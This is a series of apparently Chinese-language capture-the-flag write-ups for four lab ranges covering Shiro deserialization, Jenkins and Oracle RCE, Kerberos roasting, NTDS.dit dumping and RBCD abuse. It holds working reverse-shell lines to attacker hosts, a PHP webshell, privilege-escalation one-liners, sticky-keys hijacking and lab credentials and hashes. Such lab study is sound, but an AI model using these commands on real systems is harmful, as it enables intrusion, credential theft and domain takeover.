1 | flag04: flag{5da1592f-30b7-451a-aca1-73bdd97ec7fb} |
总结:
Hospital
工具准备:JDumpSpider、Shiro Attack、venom和proxifier、NacosExploit、bp插件fastjsonExp或jndi_tool、grafanaExp、navicat
知识点:Actuator配置漏洞、Shiro反序列化、vim.basic提权、Nacos Client Yaml 反序列化、Fastjson 反序列化、搭建二级代理、Grafana任意文件读取、PostgreSQL数据库渗透、sudo提权
靶场介绍:在这个场景中,你将扮演一名渗透测试工程师,被派遣去测试某家医院的网络安全性。你的目标是成功获取所有服务器的权限,以评估公司的网络安全状况。该靶场共有 4 个flag,分布于不同的靶机。
外网
信息搜集
拿fscan扫描一下,扫出来一个8080端口有一个heapdump文件
访问8080端口用dirsearch扫描一下
可以得到heapdump文件路径,并且我们可以发现这是一个shiro框架
Actuator配置漏洞
访问/actuator/heapdump
下载文件
用JDumpSpider分析一下
1 | java -jar JDumpSpider-1.1-SNAPSHOT-full.jar <heapdump文件路径> |
发现ShiroKey
1 | GAYysgMQhG7/CzIJlVpR2g== |
Shiro反序列化
有ShiroKey直接利用Shiro Attack注入内存马
用冰蝎连接
查看一下当前用户为app,权限太低了需要提权。
vim.basic提权
把shell弹到vps上(方便操作),这里用冰蝎里的弹shell没法弹所以直接用命令来弹。
1 | //vps |
查看一下suid
1 | find / -user root -perm -4000 -print 2>/dev/null |
用sudo -l
查看时发现报错了弹到的shell并没有得到tty
这时我们还可以发现有个vim.basic,开始提权。
先利用python3创建一个pty(vim.basic需要tty环境)
1 | python3 -c 'import pty; pty.spawn("/bin/bash")' |
提权
1 | vim.basic -c ':py3 import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")' |
查看flag的位置
1 | find /root -name flag* |
获取flag01
1 | cat /root/flag/flag01.txt |
1 | flag01: flag{75208ecc-a7b5-4ee4-9b53-f407c4f34351} |
内网
信息搜集
查看网段
上传一个fscan扫描
1 | ./fscan -h 172.30.12.5/24 |
整理一下
内网穿透
用venom做反向代理(因为这个靶场有二级代理用venom比较方便,但是网不好的时候很不稳定,打下来因为网的问题耗费了一堆时间)
上传venom并配置
1 | //vps |
配置proxifier,上面有不演示了。
内网渗透
Nacos Client Yaml反序列化
fscan直接扫出来一个nacos,这里查看nacos版本为1.4.1
,Hessian反序列化漏洞需要版本为2.0.0 <= Nacos < 2.2.3才可能存在,所以这里应该是Nacos Client Yaml反序列化。
直接利用NacosExploit工具来打
进入\NacosExploitGUI-7.0\漏洞复现环境\nacos-client_yaml_deserialize\yaml-payload\src\artsploit
修改AwesomeScriptEngineFactory.java
文件中命令执行的部分,改成添加用户。
1 | Runtime.getRuntime().exec("net user TG1u g123456@ /add"); |
回到\NacosExploitGUI-7.0\漏洞复现环境\nacos-client_yaml_deserialize\yaml-payload
点击生成 bat,生成新的jar文件。(这里不要改jar的名字我改了之后好像就不成功了)
将文件上传到靶机,并且开启 80 端口
1 | python3 -m http.server 80& |
上传成功后执行
登录rdp
获取flag02
1 | flag02: flag{6c47b59d-3e1d-409b-81cd-c6f9bc75a7a1} |
Fastjson 反序列化
上面信息搜集还有一个172.30.12.236:8080
是一个医院后台管理平台
访问后没看出CMS用dirsearch扫描一下
可以发现很明显是Tomcat框架,版本为v8.5.32
。
但是不存在CVE-2020-1938
,所以尝试别的漏洞。
用bp抓包发现是json传参,猜测有可能是Fastjson反序列化。
检测一下存不存在Fastjson反序列化(由于开着代理bp接收不到,用的别的dns平台)
1 | {"aaa":{"@type":"java.net.Inet4Address","val":"fef24856c5.ipv6.1433.eu.org."}} |
可以发现存在,但是这是在内网里直接用上面Exchange靶场的方法弹不成shell(需要将工具上传到172.30.12.5运行可能才能弹成shell,太麻烦了),所以直接用bp插件来检测并攻击。
法一:bp插件
将抓到的包发送到扩展插件,这里用fastjsonEcho(这里我是原来用正向代理的时候打的成功,但是后面改反向代 fastjsonEcho就不成功了)
可以看到这里已经执行成功whoami
,权限直接就是root用户了。
如果用fastjsonInject
,需要配合哥斯拉(这里是反向代理的时候打的)
连接哥斯拉
那么接下来弹shell就行(这里也是在正向代理的时候打的,后面改反向代理就在哥斯拉里面弹就行)
1 | //.5 web01 |
getshell到web03后查看flag的位置
获得flag03
1 | flag03: flag{bc44d0c0-f9ef-497a-9aed-2ea8bd69fc9f} |
法二:利用jndi_tool(我嫌有点麻烦了就不演示了)
首先先上传一个jndi_tool在172.30.12.5
1 | //.5 web01 |
运行完后再在bp中传参
1 | { |
这样子也可以弹成功shell
第二个内网
信息搜集
查看一下当前的网段信息
可以发现172.30.12.236
这台机子是双网卡,并且两个ip网段的子网掩码不同,说明还存在第二个以太网。
上传fscan进行扫描(这里都得在内网中才能传)
1 | //.5 web01 |
扫描
1 | ./fscan -h 172.30.54.179/24 |
整理一下
搭建二级代理
上传venom(这里用正向代理不成,所以连带着前面的一起改反向了),将web04代理到web01上。
在上面vps的venom的终端开启监听端口
1 | //vps |
配置proxifier
添加代理
添加规则
配置proxychains(如果下面数据库在kali里连接的话就配)
1 | vim /etc/proxychains4.conf |
测试一下
Grafana任意文件读取
上面用fscan扫出来一个 Grafana,能利用漏洞就只有SSRF 和任意文件读取,查看这里的版本应该存在任意文件读取。
直接用grafanaExp工具来打
上传grafanaExp(还是一样一级一级的上传)
1 | //.236 web03 |
得到PostgreSQL数据库的用户名和密码
1 | user:[postgres] password:[Postgres@123] |
PostgreSQL数据库渗透
读到了postgreSQL的账号密码,先连上去
1 | proxychains -q psql -h 172.30.54.12 -U postgres -W |
这里不知道为啥用kali连接不上,改用navicat连接
改掉root用户的密码(下面提权需要root用户的密码)
1 | ALTER USER root WITH PASSWORD '123456'; |
创建命令执行函数
1 | CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT; |
反弹shell
1 | select system('perl -e \'use Socket;$i="172.30.54.179";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\''); |
查看当前用户为postgres权限太低,需要提权。
sudo提权
sudo -l
查看权限
发现可以利用/usr/local/postgresql/bin/psql
提权
先创建pty(这里不创建直接提取的话没有交互式,而且就卡在那里了,重新搞又要半天)
1 | python3 -c 'import pty;pty.spawn ("/bin/bash")' |
开始提权
1 | sudo /usr/local/postgresql/bin/psql |
查看flag位置
1 | find /root -name flag* |
获取flag04
1 | flag04: flag{bb27f13a-9bd3-46e1-a20a-9b0ab43073ab} |
总结:
这套靶场的漏洞和知识点都不难,就是我在打的时候前面用的正向代理到后面搭建第二个代理又从头搭建反向代理,但是反向代理网不好的时候请求一多就不稳定,大部分时间都浪费在代理上面了。
Privilege
工具准备:fscan、gost、proxifier、proxychains、odat、evil-winrm、GetUserSPNs、mimikatz、hashcat、secretsdump
知识点:Jenkins平台漏洞、GitLab敏感仓库获取、Oracle RCE、SeRestorePrivilege提权、卷影拷贝提取 ntds.dit
靶场介绍:在这个靶场中,您将扮演一名资深黑客,被雇佣来评估虚构公司 XR Shop 的网络安全。您需要通过渗透测试逐个击破公司暴露在公网的应用,并通过后渗透技巧深入 XR Shop 的内部网络,寻找潜在的弱点和漏洞,并通过滥用 Windows 特权获取管理员权限,最终并获取隐藏在其内部的核心机密。该靶场共有 4 个 Flag,分布于不同的靶机。
第一关
关卡剧情:请获取XR Shop官网源码的备份文件,并尝试获得系统上任意文件读取的能力。并且,管理员在配置 Jenkins时,仍然选择了使用初始管理员密码,请尝试读取该密码并获取 Jenkins服务器权限。Jenkins配置目录为 C:\ProgramData\Jenkins.jenkins。
外网
信息搜集
一样用fscan扫描一下
扫出来了一个8080端口和80端口,8080端口是一个登录界面,80端口是XR Shop官网。
根据关卡剧情,我们扫出来了XR Shop官网源码的备份文件,访问并下载www.zip
。
对源码进行代码审计,直接用seay来审计一下
由于剧情给我们说了要文件读取,所以我们就只看文件读取就行了。
Jenkins平台漏洞
任意文件读取
查看content-log.php
其实这里可以直接读出flag01了(估计权限比较高)
1 | /tools/content-log.php?logfile=C:\Users\Administrator\flag\flag01.txt |
但是我们还是根据剧情走。
根据剧情可知要读取密码,剧情里还给了Jenkins配置目录为C:\ProgramData\Jenkins\.jenkins
。
搜索了一下密码一般放在哪里
可以得知密码一般放在/secrets/initialAdminPassword
这个文件里,读取一下这个文件
1 | /tools/content-log.php?logfile=C:\ProgramData\Jenkins\.jenkins\secrets\initialAdminPassword |
得到密码(本来我还以为是加密的,结果就是这个)
1 | 510235cf43f14e83b88a9f144199655b |
返回到8080端口的登录界面登录admin用户后台
后台RCE
进入管理后下拉找到脚本命令行
运行看看
1 | println "whoami".execute().text |
可以看到直接就是system最高权限了。
两种getshell的方式
法一:注入木马文件弹shell
直接运行下面这段代码
1 | new File("C:/phpstudy_pro/WWW/shell.php").write('<?php eval($_POST["shell"]);'); |
然后用蚁剑连接
法二:添加用户
运行下面的代码
1 | println "net user TG1u g123456@ /add".execute().text |
登录rdp
进入后获取flag01
1 | flag01: flag{da7d6e02-a36b-4702-aa99-c5bd59463b0c} |
第二关
关卡剧情:管理员为 Jenkins 配置了 Gitlab,请尝试获取 Gitlab API Token,并最终获取 Gitlab 中的敏感仓库。获取敏感信息后,尝试连接至 Oracle数据库,并获取 ORACLE 服务器控制权限。
内网
信息搜集
用ipconfig
查看网段
可以发现存在局域网
粘贴个fscan进去扫描一下内网
1 | fscan.exe -h 172.22.14.7/24 |
整理一下
内网穿透
粘贴个gost进去用gost做正向代理
1 | gost.exe -L=admin:[email protected]:1080 |
配置proxifier
配置proxychains
GitLab敏感仓库获取
GitLab :是基于Web的DevOps平台,用于管理Git仓库、持续集成(CI)、持续交付(CD)以及其他软件开发和运维流程。
根据关卡的剧情先获取Gitlab API Token
上面登录的Jenkins后台可以获取到
1 | {AQAAABAAAAAg9+7GBocqYmo0y3H+uDK9iPsvst95F5i3QO3zafrm2TC5U24QCq0zm/GEobmrmLYh} |
也可以在C:\ProgramData\Jenkins\.jenkins\credentials.xml
读到(需要开启隐藏的Data文件夹)
由于token是加密后的,在脚本命令行那里解密一下
1 | println(hudson.util.Secret.fromString("{AQAAABAAAAAg9+7GBocqYmo0y3H+uDK9iPsvst95F5i3QO3zafrm2TC5U24QCq0zm/GEobmrmLYh}").getPlainText()) |
1 | glpat-7kD_qLH2PiQv_ywB9hz2 |
上面fscan扫出来的172.22.14.16
是GitLab的部署站点
访问后需要登录,我们用得到的API Token进行登录
仓库的通用接口是 api/v4/projects/
,用API列出GitLab项目
1 | proxychains -q curl --silent --header "PRIVATE-TOKEN: glpat-7kD_qLH2PiQv_ywB9hz2" "http://172.22.14.16/api/v4/projects/" | jq | grep "http_url_to_repo" |
把项目下载下来(其实就只有前两个有用到)
1 | proxychains -q git clone http://gitlab.xiaorang.lab:[email protected]/xrlab/internal-secret.git |
Oracle RCE
在xradmin项目里有Oracle数据库的配置文件/xradmin/ruoyi-admin/src/main/resources/application-druid.yml
1 | url: jdbc:oracle:thin:@172.22.14.31:1521/orcl |
用navicat连接不上去,利用odat来打(看wp说是因为权限是DBA是最高权限,可以直接执行命令)
odat:一个用于与Oracle数据库交互的工具,类似于sqlplus,但功能更强大。
添加管理员用户
1 | proxychains -q odat dbmsscheduler -s 172.22.14.31 -p 1521 -d ORCL -U xradmin -P fcMyE8t9E4XdsKf --sysdba --exec 'net user TG1u g123456@ /add' |
创建完后,登录rdp
获取flag02
1 | flag02: flag{85b32f9c-0f5d-4180-bac1-605f6648d76c} |
第三关
关卡剧情:攻击办公区内网,获取办公 PC 控制权限,并通过特权滥用提升至 SYSTEM 权限。
内网
SeRestorePrivilege提权
SeRestorePrivilege特权:允许进程绕过文件和目录的安全性检查,从而还原文件和目录。这种特权通常赋予给还原软件,以确保它们能够访问和操作系统中的所有文件,而不受文件权限的限制。
上面下载的项目除了xradmin还有一个internal-secret里面打开是机器名和一堆用户、密码
上面fscan扫出来172.22.14.46
的机器名是XR-0923
找到对应的用户和密码
1 | XR-0923 | zhangshuai | wSbEajHzZs |
登录rdp
但是这个用户没有管理员权限,需要提权
查看特权,发现这里只有两个特权,并不能用于提权
1 | whoami /priv |
利用evil-winrm来连接这个机器
evil-winrm:一个用于与Windows远程管理(WinRM)服务交互的工具,类似于PowerShell。
1 | proxychains -q evil-winrm -i 172.22.14.46 -u zhangshuai -p wSbEajHzZs |
连接后再次查看特权,比rdp多了一个SeRestorePrivilege特权,可以用于更改文件或目录的所有者属性
直接劫持sthc.exe,将cmd重名名为sthc.exe
sethc.exe:是Windows中的Sticky Keys程序,用于帮助有肢体残疾的用户。在登录界面按下Shift键五次,Windows 会启动Sticky Keys功能,弹出一个对话框。
1 | cd C:\windows\system32 |
回到rdp点击用户头像再点击锁定进行锁屏,连按五次shift启动粘连键
可以看到我们此时的cmd就拥有管理员权限了,可以直接抓取flag03(但是没法复制粘贴,可以用识图取字,但是还是登录rdp进去查看方便)
添加管理员用户
1 | net user TG1u g123456@ /add |
重新登录rdp
获取flag03
1 | flag03: flag{9a48d9c8-bda3-40c5-88c1-c0d3a44f5364} |
第四关
关卡剧情:尝试接管备份管理操作员帐户,并通过转储 NTDS 获得域管理员权限,最终控制整个域环境。
内网
域环境分析
复制个mimikatz进去抓一下hash
1 | privilege::debug |
1 | XR-0923$ |
拿着XR-0923$的Hash获取目标域中的用户SPN
1 | proxychains -q impacket-GetUserSPNs xiaorang.lab/'XR-0923$' -hashes :88e4a2eb83aef14dde6ef29fd96a7fff -dc-ip 172.22.14.11 |
卷影拷贝提取 ntds.dit
ntds.dit文件:是一个数据库,用于存储Active Directory数据,包括有关用户对象,组和组成员身份的信息。它包括域中所有用户的密码哈希。通过提取这些哈希值,可以使用诸如Mimikatz之类的工具执行哈希传递攻击,或使用诸如Hashcat之类的工具来破解这些密码。这些密码的提取和破解可以脱机执行,因此将无法检测到。一旦攻击者提取了这些散列,它们便可以充当域上的任何用户,包括域管理员。
上面查看SPN可以发现一个tianjing用户,抓一下Hash
1 | proxychains -q impacket-GetUserSPNs xiaorang.lab/'XR-0923$' -hashes :88e4a2eb83aef14dde6ef29fd96a7fff -dc-ip 172.22.14.11 -request-user tianjing |
复制到1.txt用hashcat爆破密码
1 | hashcat -m 13100 -a 0 1.txt /usr/share/wordlists/rockyou.txt --force |
1 | tianjing:DPQSXSXgh2 |
登录rdp但是发现连接被拒绝了
用evil-winrm连上去
1 | proxychains -q evil-winrm -i 172.22.14.11 -u tianjing -p DPQSXSXgh2 |
但是此时的权限太低了,需要提权
查看一下特权
有两个可以利用的特权,SeRestorePrivilege和SeBackupPrivilege
SeBackupPrivilege特权:赋予给备份和还原软件,以确保它们能够访问和操作系统中的所有文件,而不受文件权限的限制
本地创一个raj.dsh(这里的注释不用一起加进去我不知道//是不是用于注释的)
raj.dsh文件:通常是一个脚本文件,用于自动化任务或配置系统。
1 | set context persistent nowriters |
在kali里用unix2dos将dsh文件的编码间距转换为Windows兼容的编码和间距
unix2dos:是一个用于将Unix/Linux格式的文本文件转换为DOS/Windows格式的工具。
1 | unix2dos raj.dsh |
在C盘随便创建一个目录,把dsh文件传到靶机上,然后用diskshadow执行dsh文件
diskshadow:是Windows操作系统中的一个命令行工具,用于创建和管理卷影拷贝服务(VSS)快照。
1 | mkdir test |
可以看到已经成功备份,把备份的ntsd文件复制到当前目录下
1 | RoboCopy /b z:\windows\ntds . ntds.dit |
把system文件备份,
1 | reg save HKLM\SYSTEM system |
然后将两个文件都下载到kali工作目录里(这里要确保下的目录两个文件确实存在)
1 | download C:\test\system system |
下载完后回到kali用secretsdump解密ntds
secretsdump:通常用于渗透测试和安全评估,以获取域控制器中存储的用户凭据。
1 | impacket-secretsdump -ntds ntds.dit -system system local |
得到域管Hash
1 | Administrator:500:aad3b435b51404eeaad3b435b51404ee:70c39b547b7d8adec35ad7c09fb1d277::: |
再次连接
1 | proxychains -q evil-winrm -i 172.22.14.11 -u Administrator -H "70c39b547b7d8adec35ad7c09fb1d277" |
获取flag04
1 | type C:\Users\Administrator\flag\flag04.txt |
1 | flag04: flag{9d36a427-56f5-40b5-a392-328c41f2d2d0} |
总结:
ThermalPower
工具准备:JDumpSpider、Shiro Attack、fscan、gost、proxifier、proxychains、SeBackupPrivilegeUtils和SeBackupPrivilegeCmdLets模块、dnSpy或者dotPeek、
知识点:Actuator配置漏洞、Shiro反序列化 、FTP匿名访问、SeRestorePrivilege提权或注册表SAM转储、.NET逆向+RSA/AES解密
靶场介绍:该场景模拟仿真了电力生产企业的部分业务场景。“火创能源” 公司在未充分重视网络安全的威胁的情况下,将敏感区域的服务错误地配置在公网上,使得外部的 APT 组织可以轻松地访问这些服务,最终导致控制电力分配、生产流程和其他关键设备的服务遭受攻击,并部署了勒索病毒。 玩家的任务是分析 APT 组织的渗透行为,按照关卡列表恢复其攻击路径,并对勒索病毒加密的文件进行解密。 附件地址:https://pan.baidu.com/s/13jTP6jWi6tLWkbyO8SQSnQ?pwd=kj6h
第一关
关卡剧情:评估暴露在公网的服务的安全性,尝试建立通向生产区的立足点。
外网
信息搜集
靶场给了服务器ip,探测存活端口(可以用fscan直接扫出来的,只不过我这个是之前打的那时候还是用nmap居多)
1 | nmap <ip> |
弱口令登录
访问8080端口,是一个登录界面
用户名:admin 密码:123456 可以登录但是并没有什么用
Actuator配置漏洞
用dirsearch扫描一下网站目录
发现有个heapdump,并且是个Shiro框架
访问/actuator/heapdump下载heapdump
用JDumpSpider分析一下,发现ShiroKey
1 | java -jar JDumpSpider-1.1-SNAPSHOT-full.jar <heapdump文件路径> |
Shiro反序列化
有ShiroKey直接利用Shiro Attack注入内存马(这边重置了一下靶场,ip变更)
用冰蝎getshell,在根目录发现flag01
1 | flag01: flag{cc20f3d6-fa08-4c17-9c74-c1dbb3754cd3} |
第二关
关卡剧情:尝试接管 SCADA 工程师的个人 PC,并通过滥用 Windows 特权组提升至系统权限。
内网
信息搜集
先进行内网信息搜集
上一关我们得到shell查看一下网段,存在局域网
测试一下能不能出网
可以访问互联网,反弹shell到自己的服务器上
1 | //靶机 |
上传fscan扫描一下内网
1 | ./fscan -h 172.22.17.213/24 |
整理一下
内网穿透
用gost做内网穿透
1 | ./gost -L=admin:[email protected]:1080 |
配置proxifier
配置proxychains
FTP匿名访问
上面fscan扫出来172.22.17.6
有个ftp匿名访问
连接看看
1 | ftp 172.22.17.6 |
用文件夹打开比较方便查看文件
Windows Backup Operators特权组提权
打开火创能源内部资料文件夹里有一个excel表格和一个通知
用脚本筛选出SCADA工程师信息,组成账号和密码
1 | import pandas as pd |
1 | 账号: chenhua, 密码: chenhua@0813 |
这个就是SCADA 工程师的个人PC的用户名和密码
随便选一个登录172.22.17.6
的rdp
进入后,没法进入到Administrator目录,但是当前用户是有管理员权限的(原来我以为这个用户是普通用户搞了半天)
所以我们需要提权到Administrator用户
以下有两种方法
法一:SeBackupPrivilege提权
根据提示特权组提权,我们先查看一下特权组
1 | whoami /groups |
可以发现当前用户是处在Backup Operators组,默认情况下会授予该组SeBackupPrivilege和SeRestorePrivilege特权
查看特权,没发现SeBackupPrivilege和SeRestorePrivilege特权
1 | whoami /priv |
用管理员身份打开再次查看
发现有SeBackupPrivilege和SeRestorePrivilege特权,但是被禁用了
这里我们就利用SeBackupPrivilege特权即可
利用SeBackupPrivilegeUtils和SeBackupPrivilegeCmdLets模块来启用SeBackupPrivilege特权
在c盘创建一个TG1u目录,将下载后的SeBackupPrivilege文件夹放入
以管理员用户身份打开powershell
1 | cd C:/TG1u/SeBackupPrivilege |
再次查看特权可以发现已启用
将flag复制到桌面,获取flag02
1 | Copy-FileSeBackupPrivilege C:\Users\Administrator\flag\flag02.txt C:\Users\chenhua\Desktop\flag02.txt -Overwrite |
1 | flag02: flag{766b89d4-bf2f-471e-a9ca-c87470b00f99} |
法二: 注册表SAM转储
还是用管理员打开powershell
1 | cd C:\TG1u |
将两个文件一起下载到kali里,解密得到Administrator用户的Hash
1 | Administrator:500:aad3b435b51404eeaad3b435b51404ee:f82292b7ac79b05d5b0e3d302bd0d279::: |
有了Hash那么就可以打WMI横向或者SMB横向
1 | proxychains -q impacket-wmiexec -hashes :f82292b7ac79b05d5b0e3d302bd0d279 [email protected] -codec gbk |
获取flag02
1 | type C:\Users\Administrator\flag\flag02.txt |
1 | flag02: flag{766b89d4-bf2f-471e-a9ca-c87470b00f99} |
第三关
关卡剧情:尝试接管 SCADA 工程师站,并启动锅炉。
内网
第二个网段信息搜集
在火创能源内部资料这个文件夹里有一个SCADA.txt文件,里面发现一台windows机子信息,但是处于另一个网段
1 | WIN-SCADA: 172.22.26.xx |
用fscan扫描这个网段(同时也是验证是不是处在同一个内网中)
1 | ./fscan -h 172.22.26.0/24 |
可以看到成功扫描,说明两个网段的子网掩码是相同的都是255.255.0.0
,那么就不用搭建第二个代理了。
扫出来只有172.22.26.11
,是一台windows系统的机子
上面有用户名和密码,登录rdp
进入后直接就打开了一个火力发电厂自动化控制系统
根据剧情我们要启动锅炉
将其启动就可以得到flag03(这里没法复制粘贴,用识图取字还得一个个对,难崩)
1 | flag{bcd080d5-2cf1-4095-ac15-fa4bef9ca1c0} |
第四关
关卡剧情:尝试获取 SCADA工程师站中的数据库备份,并分析备份文件是否泄漏了敏感数据。
内网
勒索程序逆向+勒索文件解密
Win + D
返回桌面,发现这台机子已经被勒索软件劫持了
可以发现桌面上有ScadaDB.sql.locky
,除此之外打开文件夹直接就可以看到flag04.txt并且在c盘可以发现勒索软件Lockyou.exe
根据剧情我们要获取数据库备份ScadaDB.sql
,但是此时的ScadaDB.sql
被加密为ScadaDB.sql.locky
。
那么接下来就是要逆向勒索软件进行文件解密了(web狗表示艹)
将加密的文件 ScadaDB.sql.locky
和勒索程序 Lockyou.exe
下载到本地(不要在本机傻傻点击打开嗷)
对Lockyou.exe
进行反汇编分析源码
这里有两种反汇编方式
法一:dnSpy
先点击入口就可以看到加密方法
再点击加密方法即可找到加密方式和加密算法
法二:JeBrains里的dotPeek
用dotPeek的话也是点击进去找到加密方式和加密算法
可以看到先用PRIVATE_KEY解密AES_KEY_ENC得到AES_KEY,然后用AES_KEY解密ScadaDB.sql.locky
靶场给了附件privateKey和encryptedAesKey分别对应PRIVATE_KEY和AES_KEY_ENC
使用在线工具先把 privatekey格式转换为pem
1 | -----BEGIN PRIVATE KEY----- |
然后用在线工具rsa解密一下encryptedAesKey
1 | cli9gqXpTrm7CPMcdP9TSmVSzXVgSb3jrW+AakS7azk= |
返回查看加密算法
在EncryptFile
函数中,先输出了长度为16字节的iv,再输出了加密后的数据库文件,然后一起写入ScadaDB.sql.locky
。在本场景中,前16字节恰好为iv,不是原始 ScadaDB.sql
文件中的数据,所以直接解密就可以了。
用脚本对ScadaDB.sql.locky
进行解密
1 | from Crypto.Cipher import AES |
打开解密后的encrpted_file.txt
搜索flag即可得到flag04
1 | flag{63cd8cd5-151f-4f29-bdc7-f80312888158} |
总结:
这套靶场总体也是不难,外网的知识点前面Hospital靶场也打过了,就是在获取第二个flag登录rdp的那个用户是管理员有点坑,我一直以为只有Administrator用户才有管理员权限,所以被误导了卡了好久。
Flarum
工具准备:fscan、Wappalyzer、phpgcc、蚁剑、gost、proxifier和proxychains、kerbrute、GetNPUsers、hashcat、bloodhound-python、BloodHound、SharpXDecrypt、addcomputer、rbcd、getST、secretsdump、wmiexec或psexec
知识点:Flarum漏洞、Capabilitites提权、AS_REP Roasting攻击、xshell抓密码、Acount Operators组用户打RBCD、DCSync
靶场介绍:Flarum是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、kerberos协议以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有4个flag,分布于不同的靶机。
第一关
关卡剧情:请测试 Flarum社区后台登录口令的安全性,并获取在该服务器上执行任意命令的能力。
外网
信息搜集
还是一样用fscan做一下信息搜集
可以看到扫出来一个web服务在80端口
访问一下,用Wappalyzer查看一下
可以发现是用Flarum框架搭建的一个社区,那么网上找相关漏洞找到了p牛的文章 从偶遇Flarum开始的RCE之旅
跟着文章打rce
Flarum漏洞
弱口令爆破
在主页面可以看到邮箱为[email protected]
,那么就是爆破密码就行了。
这里我用自己的密码本爆不出来,看了一下wp发现要用rockyou字典,但是有一亿多条密码不知道是咋爆出来的。
最后爆出来的邮箱和密码
1 | [email protected]:1chris |
任意文件读取
进入后台后,找到后台管理里的自定义CSS
写入
1 | .test { |
保存后访问/assets/forum.css
,找到test的位置
将里面的内容base64解密后就是/etc/passwd
的内容。
本来想直接读一下flag,但是发现读不了应该是权限不够。
phar反序列化
用phpgcc生成payload,用bash反弹shell。
1 | ./phpggc -p tar -b Monolog/RCE6 system "bash -c 'bash -i >& /dev/tcp/<VPS_IP>/7777 0>&1'" |
用生成的payload构造成@import
的payload编辑CSS
1 | @import (inline) 'data:text/css;base64,<payload>'; |
再次访问/assets/forum.css
可以看到已经成功写入
在vps开启监听端口
1 | nc -lvvp 7777 |
用phar读文件
1 | .test { |
点击保存就getshell成功了(这里点保存会一直在加载中)
Capabilitites提权
SUID:是一种文件权限,允许用户以文件所有者的权限执行该文件。通常用于允许普通用户执行需要管理员权限的程序。
Capabilities:是一种更细粒度的权限管理机制,允许将传统的超级用户权限分解为多个独立的权限,可以限制权限只执行特定操作。
进入后查看用户为www-data
权限太低了需要提权。
查看suid发现熟悉的就只有sudo,输入sudo -l
发现需要密码,但是我们这里没有密码。
那么就只能用别的方式,查看设置了capabilitites可执行文件
1 | getcap -r / 2>/dev/null |
发现可以利用openssl命令读文件
获取flag01
1 | openssl enc -in "/root/flag/flag01.txt" |
1 | flag01: flag{4d29da16-a80f-4b80-b8c4-9ff189af1ca9} |
由于每次重连都很不方便,所以写一个木马文件到/var/www/html/public/assets
目录(只有这个目录能写入文件)
1 | cd /var/www/html/public/assets |
用蚁剑连接
第二关
关卡剧情:通过kerberos攻击的获取域内权限,并进行信息收集。
内网
信息搜集
ifconfig
查看网段
上传fscan进行扫描
整理一下
内网穿透
用gost做内网穿透
1 | ./gost -L=admin:[email protected]:1080 |
配置proxifier
配置proxychains
AS_REP Roasting攻击
在/var/www/html/config.php
可以发现网站是有配置数据库的,config.php有数据库的相关信息
用蚁剑或者navicat连接数据库(这里要注意数据库的类型,我用MYSQL没连上)
进入后在flarum_users表中可以发现用户并且邮件是域名的形式,根据关卡剧情我们可以猜测是要爆破AD域用户
导出username那列复制到user.txt中并放入到kali里(注意要去掉limit),接下来就是打AS_REP Roasting攻击了。(上面Time靶场有详细的介绍)
用kerbrute扫描一下(但是我这里没扫出来,不过这一步只是为了减少后面的爆破量,可有可无)
1 | ./kerbrute userenum --dc 172.22.60.8 -d xiaorang.lab user.txt -t 10 |
查看用户是否开启“不使用Kerberos预认证”
1 | proxychains -q impacket-GetNPUsers -dc-ip 172.22.60.8 -usersfile user.txt -format hashcat xiaorang.lab/ |
得到两个用户的 hash
1 | [email protected]:248f7bd6b50fa5f0af670fc31f1dbb19$c70054de47fb204f8457532e17a98ce16eed474f70d730ebb72df31a14b41d9a94cef0f9b20f6e38ff9943343dfdc43d9c7e4ec1427eca43425c13299233d8e61d62310f4cddfaa57e93add8dff67708b258f2e81ff7e9d12a69b17ca214872cfce56e9191e1bbcae1b7fb6466c2c188f31fd9dd69931496ab09f051c395328549dea59116f28bb17dfe0c9ffeba8457b9e7170ef96d90ad7d25eebe0763d7b836f19d1323fce368d29e835495ff08df70cd1291ca502968d06353b2fe293b5f8432055d60aff48f90176549e73266b63feefdd33a1170a7836f07bf0f1bff386a1c9c76ab0432bf5b5f847b |
将结果放入到1.txt中,用hashcat爆破一下
1 | hashcat -a 0 -m 18200 --force 1.txt /usr/share/wordlists/rockyou.txt |
1 | [email protected]:Adm12geC |
登录172.22.60.15
的rdp
进入后无法进入Administrator目录找flag
域环境分析
用bloodhound-python搜集域内关系
1 | proxychains -q bloodhound-python -u wangyun -p Adm12geC -d xiaorang.lab -c all -ns 172.22.60.8 --zip --dns-tcp |
将压缩包拖到BloodHound里分析
查看最短到达域管理员的路径
发现最短路径是zhangxin用户属于Account Operators组。并且我们还可发现DC和FILESERVER都具有DCSync权限。
第三关
关卡剧情:请尝试获取内网中Fileserver主机的权限,并发现黑客留下的域控制器后门。
内网
xshell抓密码
打开xshell可以发现连接过一个叫 zhangxin 的用户(但是不知道为什么我没法打开)
将SharpXDecrypt复制到桌面抓密码
1 | SharpXDecrypt.exe |
1 | zhagnxin:admin4qwY38cc |
但是可以发现他的ip是172.22.60.45
,之前用fscan没扫出来,试着连接rdp也没法连。
Acount Operators组用户打RBCD
Account Operators组:是一个内置的安全组,组内成员对于所有非域控机器都具有GenericAll ACL权限,可以管理域中的用户和组账户。
enericAll权限:是一种通用权限,授予对对象的所有可能的访问权限。包括读取、写入、执行、删除、更改权限和所有权等操作。
上面域信息搜集我们可以知道zhangxin用户是属于Account Operators 组,那么就可以利用zhangxin用户给 FILESERVER配置RBCD,并且FILESERVER具有DCSync权限,可以拿下域控。
用addcomputer先创建一个zhangxin用户的机器账户。
impacket-addcomputer:用于在Windows域中添加计算机账户。
机器账户:活动目录中的computers组内的计算机,也被称为机器账号。
1 | proxychains -q impacket-addcomputer xiaorang.lab/zhangxin:'admin4qwY38cc' -computer-name TEST\$ -computer-pass 123456 -dc-ip 172.22.60.8 |
用rbcd配置172.22.60.42
的RBCD,将它的委派对象设置为创建的TEST机器。
impacket-rbcd:用于管理Windows域中的基于资源的约束委派(Resource-Based Constrained Delegation, RBCD)。
1 | proxychains -q impacket-rbcd xiaorang.lab/zhangxin:'admin4qwY38cc' -dc-ip 172.22.60.8 -action write -delegate-to FILESERVER\$ -delegate-from TEST\$ |
